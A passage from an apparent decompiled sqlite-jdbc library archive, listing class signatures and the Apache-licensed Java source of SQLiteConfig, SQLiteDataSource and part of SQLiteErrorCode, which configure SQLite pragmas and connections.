    private final void run_0x185200();
    private final void run_0x185400();
    private final void run_0x185600();
    private final void run_0x185800();
    private final void run_0x185a00();
    private final void run_0x185c00();
    private final void run_0x185e00();
    private final void run_0x186000();
    private final void run_0x186200();
    private final void run_0x186400();
    private final void run_0x186600();
    private final void run_0x186800();
    private final void run_0x186a00();
    private final void run_0x186c00();
    private final void run_0x186e00();
    private final void run_0x187000();
    private final void run_0x187200();
    private final void run_0x187400();
    private final void run_0x187600();
    private final void run_0x187800();
    private final void run_0x187a00();
    private final void run_0x187c00();
    private final void run_0x187e00();
    private final void run_0x188000();
    private final void run_0x188200();
    private final void run_0x188400();
    private final void run_0x188600();
    private final void run_0x188800();
    private final void run_0x188a00();
    private final void run_0x188c00();
    private final void run_0x188e00();
    private final void run_0x189000();
    private final void run_0x189200();
    private final void run_0x189400();
    private final void run_0x189600();
    private final void run_0x189800();
    private final void run_0x189a00();
    private final void run_0x189c00();
    private final void run_0x189e00();
    private final void run_0x18a000();
    private final void run_0x18a200();
    private final void run_0x18a400();
    private final void run_0x18a600();
    private final void run_0x18a800();
    private final void run_0x18aa00();
    private final void run_0x18ac00();
    private final void run_0x18ae00();
    private final void run_0x18b000();
    private final void run_0x18b200();
    private final void run_0x18b400();
    private final void run_0x18b600();
    private final void run_0x18b800();
    private final void run_0x18ba00();
    private final void run_0x18bc00();
    private final void run_0x18be00();
    private final void run_0x18c000();
    private final void run_0x18c200();
    private final void run_0x18c400();
    private final void run_0x18c600();
    private final void run_0x18c800();
    private final void run_0x18ca00();
    private final void run_0x18cc00();
    private final void run_0x18ce00();
    private final void run_0x18d000();
    private final void run_0x18d200();
    private final void run_0x18d400();
    private final void run_0x18d600();
    private final void run_0x18d800();
    private final void run_0x18da00();
    private final void run_0x18dc00();
    private final void run_0x18de00();
    private final void run_0x18e000();
    private final void run_0x18e200();
    private final void run_0x18e400();
    private final void run_0x18e600();
    private final void run_0x18e800();
    private final void run_0x18ea00();
    private final void run_0x18ec00();
    private final void run_0x18ee00();
    private final void run_0x18f000();
    private final void run_0x18f200();
    private void trampoline();
    protected int gp();
    protected int entryPoint();
    protected int heapStart();
    protected int lookupSymbol(String);
    protected void setCPUState(org.ibex.nestedvm.Runtime$CPUState);
    protected void getCPUState(org.ibex.nestedvm.Runtime$CPUState);
    protected void _execute() throws org.ibex.nestedvm.Runtime$ExecutionException;
    public static void main(String[]);
}










org/sqlite/SQLiteConfig$Encoding.class


package org.sqlite;
public final synchronized enum SQLiteConfig$Encoding {
    public static final SQLiteConfig$Encoding UTF8;
    public static final SQLiteConfig$Encoding UTF16;
    public static final SQLiteConfig$Encoding UTF16_LITTLE_ENDIAN;
    public static final SQLiteConfig$Encoding UTF16_BIG_ENDIAN;
    public final String typeName;
    public static final SQLiteConfig$Encoding[] values();
    public static SQLiteConfig$Encoding valueOf(String);
    private void SQLiteConfig$Encoding(String, int, String);
    public String getValue();
    static void <clinit>();
}










org/sqlite/SQLiteConfig$JournalMode.class


package org.sqlite;
public final synchronized enum SQLiteConfig$JournalMode {
    public static final SQLiteConfig$JournalMode DELETE;
    public static final SQLiteConfig$JournalMode TRUNCATE;
    public static final SQLiteConfig$JournalMode PERSIST;
    public static final SQLiteConfig$JournalMode MEMORY;
    public static final SQLiteConfig$JournalMode OFF;
    public static final SQLiteConfig$JournalMode[] values();
    public static SQLiteConfig$JournalMode valueOf(String);
    private void SQLiteConfig$JournalMode(String, int);
    public String getValue();
    static void <clinit>();
}










org/sqlite/SQLiteConfig$LockingMode.class


package org.sqlite;
public final synchronized enum SQLiteConfig$LockingMode {
    public static final SQLiteConfig$LockingMode NORMAL;
    public static final SQLiteConfig$LockingMode EXCLUSIVE;
    public static final SQLiteConfig$LockingMode[] values();
    public static SQLiteConfig$LockingMode valueOf(String);
    private void SQLiteConfig$LockingMode(String, int);
    public String getValue();
    static void <clinit>();
}










org/sqlite/SQLiteConfig$Pragma.class


package org.sqlite;
final synchronized enum SQLiteConfig$Pragma {
    public static final SQLiteConfig$Pragma OPEN_MODE;
    public static final SQLiteConfig$Pragma SHARED_CACHE;
    public static final SQLiteConfig$Pragma LOAD_EXTENSION;
    public static final SQLiteConfig$Pragma CACHE_SIZE;
    public static final SQLiteConfig$Pragma CASE_SENSITIVE_LIKE;
    public static final SQLiteConfig$Pragma COUNT_CHANGES;
    public static final SQLiteConfig$Pragma DEFAULT_CACHE_SIZE;
    public static final SQLiteConfig$Pragma EMPTY_RESULT_CALLBACKS;
    public static final SQLiteConfig$Pragma ENCODING;
    public static final SQLiteConfig$Pragma FOREIGN_KEYS;
    public static final SQLiteConfig$Pragma FULL_COLUMN_NAMES;
    public static final SQLiteConfig$Pragma FULL_SYNC;
    public static final SQLiteConfig$Pragma INCREMENTAL_VACUUM;
    public static final SQLiteConfig$Pragma JOURNAL_MODE;
    public static final SQLiteConfig$Pragma JOURNAL_SIZE_LIMIT;
    public static final SQLiteConfig$Pragma LEGACY_FILE_FORMAT;
    public static final SQLiteConfig$Pragma LOCKING_MODE;
    public static final SQLiteConfig$Pragma PAGE_SIZE;
    public static final SQLiteConfig$Pragma MAX_PAGE_COUNT;
    public static final SQLiteConfig$Pragma READ_UNCOMMITED;
    public static final SQLiteConfig$Pragma RECURSIVE_TRIGGERS;
    public static final SQLiteConfig$Pragma REVERSE_UNORDERED_SELECTS;
    public static final SQLiteConfig$Pragma SHORT_COLUMN_NAMES;
    public static final SQLiteConfig$Pragma SYNCHRONOUS;
    public static final SQLiteConfig$Pragma TEMP_STORE;
    public static final SQLiteConfig$Pragma TEMP_STORE_DIRECTORY;
    public static final SQLiteConfig$Pragma USER_VERSION;
    public final String pragmaName;
    public final String[] choices;
    public final String description;
    public static final SQLiteConfig$Pragma[] values();
    public static SQLiteConfig$Pragma valueOf(String);
    private void SQLiteConfig$Pragma(String, int, String);
    private void SQLiteConfig$Pragma(String, int, String, String[]);
    private void SQLiteConfig$Pragma(String, int, String, String, String[]);
    static void <clinit>();
}










org/sqlite/SQLiteConfig$PragmaValue.class


package org.sqlite;
abstract interface SQLiteConfig$PragmaValue {
    public abstract String getValue();
}










org/sqlite/SQLiteConfig$SynchronousMode.class


package org.sqlite;
public final synchronized enum SQLiteConfig$SynchronousMode {
    public static final SQLiteConfig$SynchronousMode OFF;
    public static final SQLiteConfig$SynchronousMode NORMAL;
    public static final SQLiteConfig$SynchronousMode FULL;
    public static final SQLiteConfig$SynchronousMode[] values();
    public static SQLiteConfig$SynchronousMode valueOf(String);
    private void SQLiteConfig$SynchronousMode(String, int);
    public String getValue();
    static void <clinit>();
}










org/sqlite/SQLiteConfig$TempStore.class


package org.sqlite;
public final synchronized enum SQLiteConfig$TempStore {
    public static final SQLiteConfig$TempStore DEFAULT;
    public static final SQLiteConfig$TempStore FILE;
    public static final SQLiteConfig$TempStore MEMORY;
    public static final SQLiteConfig$TempStore[] values();
    public static SQLiteConfig$TempStore valueOf(String);
    private void SQLiteConfig$TempStore(String, int);
    public String getValue();
    static void <clinit>();
}










org/sqlite/SQLiteConfig.class


package org.sqlite;
public synchronized class SQLiteConfig {
    private final java.util.Properties pragmaTable;
    private int openModeFlag;
    private static final String[] OnOff;
    public void SQLiteConfig();
    public void SQLiteConfig(java.util.Properties);
    public java.sql.Connection createConnection(String) throws java.sql.SQLException;
    public void apply(java.sql.Connection) throws java.sql.SQLException;
    private void set(SQLiteConfig$Pragma, boolean);
    private void set(SQLiteConfig$Pragma, int);
    private boolean getBoolean(SQLiteConfig$Pragma, String);
    public boolean isEnabledSharedCache();
    public boolean isEnabledLoadExtension();
    public int getOpenModeFlags();
    public void setPragma(SQLiteConfig$Pragma, String);
    public java.util.Properties toProperties();
    static java.sql.DriverPropertyInfo[] getDriverPropertyInfo();
    public void setOpenMode(SQLiteOpenMode);
    public void resetOpenMode(SQLiteOpenMode);
    public void setSharedCache(boolean);
    public void enableLoadExtension(boolean);
    public void setReadOnly(boolean);
    public void setCacheSize(int);
    public void enableCaseSensitiveLike(boolean);
    public void enableCountChanges(boolean);
    public void setDefaultCacheSize(int);
    public void enableEmptyResultCallBacks(boolean);
    private static String[] toStringArray(SQLiteConfig$PragmaValue[]);
    public void setEncoding(SQLiteConfig$Encoding);
    public void enforceForeignKeys(boolean);
    public void enableFullColumnNames(boolean);
    public void enableFullSync(boolean);
    public void incrementalVacuum(int);
    public void setJournalMode(SQLiteConfig$JournalMode);
    public void setJounalSizeLimit(int);
    public void useLegacyFileFormat(boolean);
    public void setLockingMode(SQLiteConfig$LockingMode);
    public void setPageSize(int);
    public void setMaxPageCount(int);
    public void setReadUncommited(boolean);
    public void enableRecursiveTriggers(boolean);
    public void enableReverseUnorderedSelects(boolean);
    public void enableShortColumnNames(boolean);
    public void setSynchronous(SQLiteConfig$SynchronousMode);
    public void setTempStore(SQLiteConfig$TempStore);
    public void setTempStoreDirectory(String);
    public void setUserVersion(int);
    static void <clinit>();
}










org/sqlite/SQLiteConfig.java



org/sqlite/SQLiteConfig.java


/*--------------------------------------------------------------------------



 *  Copyright 2009 Taro L. Saito



 *



 *  Licensed under the Apache License, Version 2.0 (the "License");



 *  you may not use this file except in compliance with the License.



 *  You may obtain a copy of the License at



 *



 *     http://www.apache.org/licenses/LICENSE-2.0



 *



 *  Unless required by applicable law or agreed to in writing, software



 *  distributed under the License is distributed on an "AS IS" BASIS,



 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.



 *  See the License for the specific language governing permissions and



 *  limitations under the License.



 *--------------------------------------------------------------------------*/



//--------------------------------------



// sqlite-jdbc Project



//



// SQLiteConfig.java



// Since: Dec 8, 2009



//



// $URL$ 



// $Author$



//--------------------------------------



package org.sqlite;







import java.sql.Connection;



import java.sql.DriverManager;



import java.sql.DriverPropertyInfo;



import java.sql.SQLException;



import java.sql.Statement;



import java.util.HashSet;



import java.util.Properties;







/**



 * SQLite Configuration



 * 



 * See also http://www.sqlite.org/pragma.html



 * 



 * @author leo



 * 



 */



public class SQLiteConfig



{



    private final Properties pragmaTable;



    private int              openModeFlag = 0x00;







    public SQLiteConfig() {



        this(new Properties());



    }







    public SQLiteConfig(Properties prop) {



        this.pragmaTable = prop;



        String openMode = pragmaTable.getProperty(Pragma.OPEN_MODE.pragmaName);



        if (openMode != null) {



            openModeFlag = Integer.parseInt(openMode);



        }



        else {



            // set the default open mode of SQLite3



            setOpenMode(SQLiteOpenMode.READWRITE);



            setOpenMode(SQLiteOpenMode.CREATE);



        }



    }







    /**



     * Create a new JDBC connection using the current configuration



     * 



     * @return



     * @throws SQLException



     */



    public Connection createConnection(String url) throws SQLException {



        return JDBC.createConnection(url, toProperties());



    }







    /**



     * Apply the current configuration to connection



     * 



     * @param conn



     * @throws SQLException



     */



    public void apply(Connection conn) throws SQLException {







        HashSet<String> pragmaParams = new HashSet<String>();



        for (Pragma each : Pragma.values()) {



            pragmaParams.add(each.pragmaName);



        }







        pragmaParams.remove(Pragma.OPEN_MODE.pragmaName);



        pragmaParams.remove(Pragma.SHARED_CACHE.pragmaName);



        pragmaParams.remove(Pragma.LOAD_EXTENSION.pragmaName);







        Statement stat = conn.createStatement();



        try {



            int count = 0;



            for (Object each : pragmaTable.keySet()) {



                String key = each.toString();



                if (!pragmaParams.contains(key))



                    continue;







                String value = pragmaTable.getProperty(key);



                if (value != null) {



                    String sql = String.format("pragma %s=%s", key, value);



                    stat.addBatch(sql);



                    count++;



                }



            }



            if (count > 0)



                stat.executeBatch();



        }



        finally {



            if (stat != null)



                stat.close();



        }







    }







    private void set(Pragma pragma, boolean flag) {



        setPragma(pragma, Boolean.toString(flag));



    }







    private void set(Pragma pragma, int num) {



        setPragma(pragma, Integer.toString(num));



    }







    private boolean getBoolean(Pragma pragma, String defaultValue) {



        return Boolean.parseBoolean(pragmaTable.getProperty(pragma.pragmaName, defaultValue));



    }







    public boolean isEnabledSharedCache() {



        return getBoolean(Pragma.SHARED_CACHE, "false");



    }







    public boolean isEnabledLoadExtension() {



        return getBoolean(Pragma.LOAD_EXTENSION, "false");



    }







    public int getOpenModeFlags() {



        return openModeFlag;



    }







    /**



     * Set a pragma value. To take effect the pragma settings,



     * 



     * @param pragma



     * @param value



     */



    public void setPragma(Pragma pragma, String value) {



        pragmaTable.put(pragma.pragmaName, value);



    }







    /**



     * Convert this SQLiteConfig settings into a Properties object, that can be



     * passed to the {@link DriverManager#getConnection(String, Properties)}.



     * 



     * @return properties representation of this configuration



     */



    public Properties toProperties() {



        pragmaTable.setProperty(Pragma.OPEN_MODE.pragmaName, Integer.toString(openModeFlag));







        return pragmaTable;



    }







    static DriverPropertyInfo[] getDriverPropertyInfo() {



        Pragma[] pragma = Pragma.values();



        DriverPropertyInfo[] result = new DriverPropertyInfo[pragma.length];



        int index = 0;



        for (Pragma p : Pragma.values()) {



            DriverPropertyInfo di = new DriverPropertyInfo(p.pragmaName, null);



            di.choices = p.choices;



            di.description = p.description;



            di.required = false;



            result[index++] = di;



        }







        return result;



    }







    private static final String[] OnOff = new String[] { "true", "false" };







    private static enum Pragma {







        // Parameters requiring SQLite3 API invocation



        OPEN_MODE("open_mode", "Database open-mode flag", null),



        SHARED_CACHE("shared_cache", "Enablse SQLite Shared-Cache mode, native driver only", OnOff),



        LOAD_EXTENSION("enable_load_extension", "Enable SQLite load_extention() function, native driver only", OnOff),







        // Pragmas that can be set after opening the database 



        CACHE_SIZE("cache_size"),



        CASE_SENSITIVE_LIKE("case_sensitive_like", OnOff),



        COUNT_CHANGES("count_changes", OnOff),



        DEFAULT_CACHE_SIZE("default_cache_size"),



        EMPTY_RESULT_CALLBACKS("empty_result_callback", OnOff),



        ENCODING("encoding", toStringArray(Encoding.values())),



        FOREIGN_KEYS("foreign_keys", OnOff),



        FULL_COLUMN_NAMES("full_column_names", OnOff),



        FULL_SYNC("fullsync", OnOff),



        INCREMENTAL_VACUUM("incremental_vacuum"),



        JOURNAL_MODE("journal_mode", toStringArray(JournalMode.values())),



        JOURNAL_SIZE_LIMIT("journal_size_limit"),



        LEGACY_FILE_FORMAT("legacy_file_format", OnOff),



        LOCKING_MODE("locking_mode", toStringArray(LockingMode.values())),



        PAGE_SIZE("page_size"),



        MAX_PAGE_COUNT("max_page_count"),



        READ_UNCOMMITED("read_uncommited", OnOff),



        RECURSIVE_TRIGGERS("recursive_triggers", OnOff),



        REVERSE_UNORDERED_SELECTS("reverse_unordered_selects", OnOff),



        SHORT_COLUMN_NAMES("short_column_names", OnOff),



        SYNCHRONOUS("synchronous", toStringArray(SynchronousMode.values())),



        TEMP_STORE("temp_store", toStringArray(TempStore.values())),



        TEMP_STORE_DIRECTORY("temp_store_directory"),



        USER_VERSION("user_version");







        public final String   pragmaName;



        public final String[] choices;



        public final String   description;







        private Pragma(String pragmaName) {



            this(pragmaName, null);



        }







        private Pragma(String pragmaName, String[] choices) {



            this(pragmaName, null, null);



        }







        private Pragma(String pragmaName, String description, String[] choices) {



            this.pragmaName = pragmaName;



            this.description = description;



            this.choices = choices;



        }



    }







    /**



     * Set the database open mode



     * 



     * @param mode



     */



    public void setOpenMode(SQLiteOpenMode mode) {



        openModeFlag |= mode.flag;



    }







    /**



     * Reset the specified database open mode flag



     * 



     * @param mode



     */



    public void resetOpenMode(SQLiteOpenMode mode) {



        openModeFlag &= ~mode.flag;



    }







    public void setSharedCache(boolean enable) {



        set(Pragma.SHARED_CACHE, enable);



    }







    public void enableLoadExtension(boolean enable) {



        set(Pragma.LOAD_EXTENSION, enable);



    }







    public void setReadOnly(boolean readOnly) {



        if (readOnly) {



            setOpenMode(SQLiteOpenMode.READONLY);



            resetOpenMode(SQLiteOpenMode.READWRITE);



        }



        else {



            setOpenMode(SQLiteOpenMode.READWRITE);



            resetOpenMode(SQLiteOpenMode.READONLY);



        }



    }







    public void setCacheSize(int numberOfPages) {



        set(Pragma.CACHE_SIZE, numberOfPages);



    }







    public void enableCaseSensitiveLike(boolean enable) {



        set(Pragma.CASE_SENSITIVE_LIKE, enable);



    }







    public void enableCountChanges(boolean enable) {



        set(Pragma.COUNT_CHANGES, enable);



    }







    /**



     * Set the cache size persistently across database connections



     * 



     * @param numberOfPages



     */



    public void setDefaultCacheSize(int numberOfPages) {



        set(Pragma.DEFAULT_CACHE_SIZE, numberOfPages);



    }







    public void enableEmptyResultCallBacks(boolean enable) {



        set(Pragma.EMPTY_RESULT_CALLBACKS, enable);



    }







    /**



     * The common interface for retrieving the available pragma parameter



     * values.



     * 



     * @author leo



     * 



     */



    private static interface PragmaValue



    {



        public String getValue();



    }







    /**



     * Convert the given Enum values to a string array



     * 



     * @param list



     * @return



     */



    private static String[] toStringArray(PragmaValue[] list) {



        String[] result = new String[list.length];



        for (int i = 0; i < list.length; i++) {



            result[i] = list[i].getValue();



        }



        return result;



    }







    public static enum Encoding implements PragmaValue {



        UTF8("UTF-8"), UTF16("UTF-16"), UTF16_LITTLE_ENDIAN("UTF-16le"), UTF16_BIG_ENDIAN("UTF-16be");



        public final String typeName;







        private Encoding(String typeName) {



            this.typeName = typeName;



        }







        public String getValue() {



            return typeName;



        }



    }







    public static enum JournalMode implements PragmaValue {



        DELETE, TRUNCATE, PERSIST, MEMORY, OFF;







        public String getValue() {



            return name();



        }



    }







    public void setEncoding(Encoding encoding) {



        setPragma(Pragma.ENCODING, encoding.typeName);



    }







    public void enforceForeignKeys(boolean enforce) {



        set(Pragma.FOREIGN_KEYS, enforce);



    }







    public void enableFullColumnNames(boolean enable) {



        set(Pragma.FULL_COLUMN_NAMES, enable);



    }







    public void enableFullSync(boolean enable) {



        set(Pragma.FULL_SYNC, enable);



    }







    public void incrementalVacuum(int numberOfPagesToBeRemoved) {



        set(Pragma.INCREMENTAL_VACUUM, numberOfPagesToBeRemoved);



    }







    public void setJournalMode(JournalMode mode) {



        setPragma(Pragma.JOURNAL_MODE, mode.name());



    }







    //    public void setJournalMode(String databaseName, JournalMode mode) {



    //        setPragma(databaseName, Pragma.JOURNAL_MODE, mode.name());



    //    }







    public void setJounalSizeLimit(int limit) {



        set(Pragma.JOURNAL_SIZE_LIMIT, limit);



    }







    public void useLegacyFileFormat(boolean use) {



        set(Pragma.LEGACY_FILE_FORMAT, use);



    }







    public static enum LockingMode implements PragmaValue {



        NORMAL, EXCLUSIVE;



        public String getValue() {



            return name();



        }



    }







    public void setLockingMode(LockingMode mode) {



        setPragma(Pragma.LOCKING_MODE, mode.name());



    }







    //    public void setLockingMode(String databaseName, LockingMode mode) {



    //        setPragma(databaseName, Pragma.LOCKING_MODE, mode.name());



    //    }







    public void setPageSize(int numBytes) {



        set(Pragma.PAGE_SIZE, numBytes);



    }







    public void setMaxPageCount(int numPages) {



        set(Pragma.MAX_PAGE_COUNT, numPages);



    }







    public void setReadUncommited(boolean useReadUncommitedIsolationMode) {



        set(Pragma.READ_UNCOMMITED, useReadUncommitedIsolationMode);



    }







    public void enableRecursiveTriggers(boolean enable) {



        set(Pragma.RECURSIVE_TRIGGERS, enable);



    }







    public void enableReverseUnorderedSelects(boolean enable) {



        set(Pragma.REVERSE_UNORDERED_SELECTS, enable);



    }







    public void enableShortColumnNames(boolean enable) {



        set(Pragma.SHORT_COLUMN_NAMES, enable);



    }







    public static enum SynchronousMode implements PragmaValue {



        OFF, NORMAL, FULL;







        public String getValue() {



            return name();



        }



    }







    public void setSynchronous(SynchronousMode mode) {



        setPragma(Pragma.SYNCHRONOUS, mode.name());



    }







    public static enum TempStore implements PragmaValue {



        DEFAULT, FILE, MEMORY;







        public String getValue() {



            return name();



        }







    }







    public void setTempStore(TempStore storeType) {



        setPragma(Pragma.TEMP_STORE, storeType.name());



    }







    public void setTempStoreDirectory(String directoryName) {



        setPragma(Pragma.TEMP_STORE_DIRECTORY, String.format("'%s'", directoryName));



    }







    public void setUserVersion(int version) {



        set(Pragma.USER_VERSION, version);



    }







}










org/sqlite/SQLiteDataSource.class


package org.sqlite;
public synchronized class SQLiteDataSource implements javax.sql.DataSource {
    private SQLiteConfig config;
    private transient java.io.PrintWriter logger;
    private int loginTimeout;
    private String url;
    public void SQLiteDataSource();
    public void SQLiteDataSource(SQLiteConfig);
    public void setConfig(SQLiteConfig);
    public SQLiteConfig getConfig();
    public void setUrl(String);
    public String getUrl();
    public void setSharedCache(boolean);
    public void setLoadExtension(boolean);
    public void setReadOnly(boolean);
    public void setCacheSize(int);
    public void setCaseSensitiveLike(boolean);
    public void setCouncChanges(boolean);
    public void setDefaultCacheSize(int);
    public void setEncoding(String);
    public void setEnforceForeinKeys(boolean);
    public void setFullColumnNames(boolean);
    public void setFullSync(boolean);
    public void setIncrementalVacuum(int);
    public void setJournalMode(String);
    public void setJournalSizeLimit(int);
    public void setLegacyFileFormat(boolean);
    public void setLockingMode(String);
    public void setPageSize(int);
    public void setMaxPageCount(int);
    public void setReadUncommited(boolean);
    public void setRecursiveTriggers(boolean);
    public void setReverseUnorderedSelects(boolean);
    public void setShortColumnNames(boolean);
    public void setSynchronous(String);
    public void setTempStore(String);
    public void setTempStoreDirectory(String);
    public void setUserVersion(int);
    public java.sql.Connection getConnection() throws java.sql.SQLException;
    public java.sql.Connection getConnection(String, String) throws java.sql.SQLException;
    public java.io.PrintWriter getLogWriter() throws java.sql.SQLException;
    public int getLoginTimeout() throws java.sql.SQLException;
    public void setLogWriter(java.io.PrintWriter) throws java.sql.SQLException;
    public void setLoginTimeout(int) throws java.sql.SQLException;
    public boolean isWrapperFor(Class) throws java.sql.SQLException;
    public Object unwrap(Class) throws java.sql.SQLException;
}
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org/sqlite/SQLiteDataSource.java


/*--------------------------------------------------------------------------



 *  Copyright 2010 Taro L. Saito



 *



 *  Licensed under the Apache License, Version 2.0 (the "License");



 *  you may not use this file except in compliance with the License.



 *  You may obtain a copy of the License at



 *



 *     http://www.apache.org/licenses/LICENSE-2.0



 *



 *  Unless required by applicable law or agreed to in writing, software



 *  distributed under the License is distributed on an "AS IS" BASIS,



 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.



 *  See the License for the specific language governing permissions and



 *  limitations under the License.



 *--------------------------------------------------------------------------*/



//--------------------------------------



// sqlite-jdbc Project



//



// SQLiteDataSource.java



// Since: Mar 11, 2010



//



// $URL$ 



// $Author$



//--------------------------------------



package org.sqlite;







import java.io.PrintWriter;



import java.sql.Connection;



import java.sql.SQLException;



import java.util.Properties;







import javax.sql.DataSource;







import org.sqlite.SQLiteConfig.Encoding;



import org.sqlite.SQLiteConfig.JournalMode;



import org.sqlite.SQLiteConfig.LockingMode;



import org.sqlite.SQLiteConfig.SynchronousMode;



import org.sqlite.SQLiteConfig.TempStore;







/**



 * Provides {@link DataSource} API for configuring SQLite database connection



 * 



 * @author leo



 * 



 */



public class SQLiteDataSource implements DataSource



{



    private SQLiteConfig          config;



    private transient PrintWriter logger;



    private int                   loginTimeout = 1;







    private String                url          = JDBC.PREFIX; // use memory database in default







    public SQLiteDataSource() {



        this.config = new SQLiteConfig(); // default configuration



    }







    public SQLiteDataSource(SQLiteConfig config) {



        this.config = config;



    }







    /**



     * Set the configuration parameters via {@link SQLiteConfig} object



     * 



     * @param config



     */



    public void setConfig(SQLiteConfig config) {



        this.config = config;



    }







    public SQLiteConfig getConfig() {



        return config;



    }







    // configuration parameters



    public void setUrl(String url) {



        this.url = url;



    }







    public String getUrl() {



        return url;



    }







    public void setSharedCache(boolean enable) {



        config.setSharedCache(enable);



    }







    public void setLoadExtension(boolean enable) {



        config.enableLoadExtension(enable);



    }







    public void setReadOnly(boolean readOnly) {



        config.setReadOnly(readOnly);



    }







    public void setCacheSize(int numberOfPages) {



        config.setCacheSize(numberOfPages);



    }







    public void setCaseSensitiveLike(boolean enable) {



        config.enableCaseSensitiveLike(enable);



    }







    public void setCouncChanges(boolean enable) {



        config.enableCountChanges(enable);



    }







    public void setDefaultCacheSize(int numberOfPages) {



        config.setDefaultCacheSize(numberOfPages);



    }







    public void setEncoding(String encoding) {



        config.setEncoding(Encoding.valueOf(encoding));



    }







    public void setEnforceForeinKeys(boolean enforce) {



        config.enforceForeignKeys(enforce);



    }







    public void setFullColumnNames(boolean enable) {



        config.enableFullColumnNames(enable);



    }







    public void setFullSync(boolean enable) {



        config.enableFullSync(enable);



    }







    public void setIncrementalVacuum(int numberOfPagesToBeRemoved) {



        config.incrementalVacuum(numberOfPagesToBeRemoved);



    }







    public void setJournalMode(String mode) {



        config.setJournalMode(JournalMode.valueOf(mode));



    }







    public void setJournalSizeLimit(int limit) {



        config.setJounalSizeLimit(limit);



    }







    public void setLegacyFileFormat(boolean use) {



        config.useLegacyFileFormat(use);



    }







    public void setLockingMode(String mode) {



        config.setLockingMode(LockingMode.valueOf(mode));



    }







    public void setPageSize(int numBytes) {



        config.setPageSize(numBytes);



    }







    public void setMaxPageCount(int numPages) {



        config.setMaxPageCount(numPages);



    }







    public void setReadUncommited(boolean useReadUncommitedIsolationMode) {



        config.setReadUncommited(useReadUncommitedIsolationMode);



    }







    public void setRecursiveTriggers(boolean enable) {



        config.enableRecursiveTriggers(enable);



    }







    public void setReverseUnorderedSelects(boolean enable) {



        config.enableReverseUnorderedSelects(enable);



    }







    public void setShortColumnNames(boolean enable) {



        config.enableShortColumnNames(enable);



    }







    public void setSynchronous(String mode) {



        config.setSynchronous(SynchronousMode.valueOf(mode));



    }







    public void setTempStore(String storeType) {



        config.setTempStore(TempStore.valueOf(storeType));



    }







    public void setTempStoreDirectory(String directoryName) {



        config.setTempStoreDirectory(directoryName);



    }







    public void setUserVersion(int version) {



        config.setUserVersion(version);



    }







    // codes for the DataSource interface    







    public Connection getConnection() throws SQLException {



        return getConnection(null, null);



    }







    public Connection getConnection(String username, String password) throws SQLException {



        Properties p = config.toProperties();



        if (username != null)



            p.put("user", username);



        if (password != null)



            p.put("pass", password);



        return JDBC.createConnection(url, p);



    }







    public PrintWriter getLogWriter() throws SQLException {



        return logger;



    }







    public int getLoginTimeout() throws SQLException {



        return loginTimeout;



    }







    public void setLogWriter(PrintWriter out) throws SQLException {



        this.logger = out;



    }







    public void setLoginTimeout(int seconds) throws SQLException {



        loginTimeout = seconds;



    }







    public boolean isWrapperFor(Class< ? > iface) throws SQLException {



        return iface.isInstance(this);



    }







    @SuppressWarnings("unchecked")



    public <T> T unwrap(Class<T> iface) throws SQLException {



        return (T) this;



    }







}










org/sqlite/SQLiteErrorCode.class


package org.sqlite;
public final synchronized enum SQLiteErrorCode {
    public static final SQLiteErrorCode UNKNOWN_ERROR;
    public static final SQLiteErrorCode SQLITE_OK;
    public static final SQLiteErrorCode SQLITE_ERROR;
    public static final SQLiteErrorCode SQLITE_INTERNAL;
    public static final SQLiteErrorCode SQLITE_PERM;
    public static final SQLiteErrorCode SQLITE_ABORT;
    public static final SQLiteErrorCode SQLITE_BUSY;
    public static final SQLiteErrorCode SQLITE_LOCKED;
    public static final SQLiteErrorCode SQLITE_NOMEM;
    public static final SQLiteErrorCode SQLITE_READONLY;
    public static final SQLiteErrorCode SQLITE_INTERRUPT;
    public static final SQLiteErrorCode SQLITE_IOERR;
    public static final SQLiteErrorCode SQLITE_CORRUPT;
    public static final SQLiteErrorCode SQLITE_NOTFOUND;
    public static final SQLiteErrorCode SQLITE_FULL;
    public static final SQLiteErrorCode SQLITE_CANTOPEN;
    public static final SQLiteErrorCode SQLITE_PROTOCOL;
    public static final SQLiteErrorCode SQLITE_EMPTY;
    public static final SQLiteErrorCode SQLITE_SCHEMA;
    public static final SQLiteErrorCode SQLITE_TOOBIG;
    public static final SQLiteErrorCode SQLITE_CONSTRAINT;
    public static final SQLiteErrorCode SQLITE_MISMATCH;
    public static final SQLiteErrorCode SQLITE_MISUSE;
    public static final SQLiteErrorCode SQLITE_NOLFS;
    public static final SQLiteErrorCode SQLITE_AUTH;
    public static final SQLiteErrorCode SQLITE_FORMAT;
    public static final SQLiteErrorCode SQLITE_RANGE;
    public static final SQLiteErrorCode SQLITE_NOTADB;
    public static final SQLiteErrorCode SQLITE_ROW;
    public static final SQLiteErrorCode SQLITE_DONE;
    public final int code;
    public final String message;
    public static final SQLiteErrorCode[] values();
    public static SQLiteErrorCode valueOf(String);
    private void SQLiteErrorCode(String, int, int, String);
    public static SQLiteErrorCode getErrorCode(int);
    public String toString();
    static void <clinit>();
}










org/sqlite/SQLiteErrorCode.java



org/sqlite/SQLiteErrorCode.java


/*--------------------------------------------------------------------------



 *  Copyright 2009 Taro L. Saito



 *



 *  Licensed under the Apache License, Version 2.0 (the "License");



 *  you may not use this file except in compliance with the License.



 *  You may obtain a copy of the License at



 *



 *     http://www.apache.org/licenses/LICENSE-2.0



 *



 *  Unless required by applicable law or agreed to in writing, software



 *  distributed under the License is distributed on an "AS IS" BASIS,



 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.



 *  See the License for the specific language governing permissions and



 *  limitations under the License.



 *--------------------------------------------------------------------------*/



//--------------------------------------



// sqlite-jdbc Project



//



// SQLiteErrorCode.java



// Since: Apr 21, 2009



//



// $URL$ 



// $Author$



//--------------------------------------



package org.sqlite;







/**



 * SQLite3 error code



 * 



 * @author leo



 * @see http://www.sqlite.org/c3ref/c_abort.html



 * 



 */



public enum SQLiteErrorCode {







    UNKNOWN_ERROR(-1, "unknown error"),



    SQLITE_OK(0, "Successful result"),



    /* beginning-of-error-codes */



    SQLITE_ERROR(1, "SQL error or missing database"),



    SQLITE_INTERNAL(2, "Internal logic error in SQLite"),



    SQLITE_PERM(3, " Access permission denied"),



    SQLITE_ABORT(4, " Callback routine requested an abort"),



    SQLITE_BUSY(5, " The database file is locked"),



    SQLITE_LOCKED(6, " A table in the database is locked"),



    SQLITE_NOMEM(7, " A malloc() failed"),



    SQLITE_READONLY(8, " Attempt to write a readonly database"),



    SQLITE_INTERRUPT(9, " Operation terminated by sqlite3_interrupt()"),



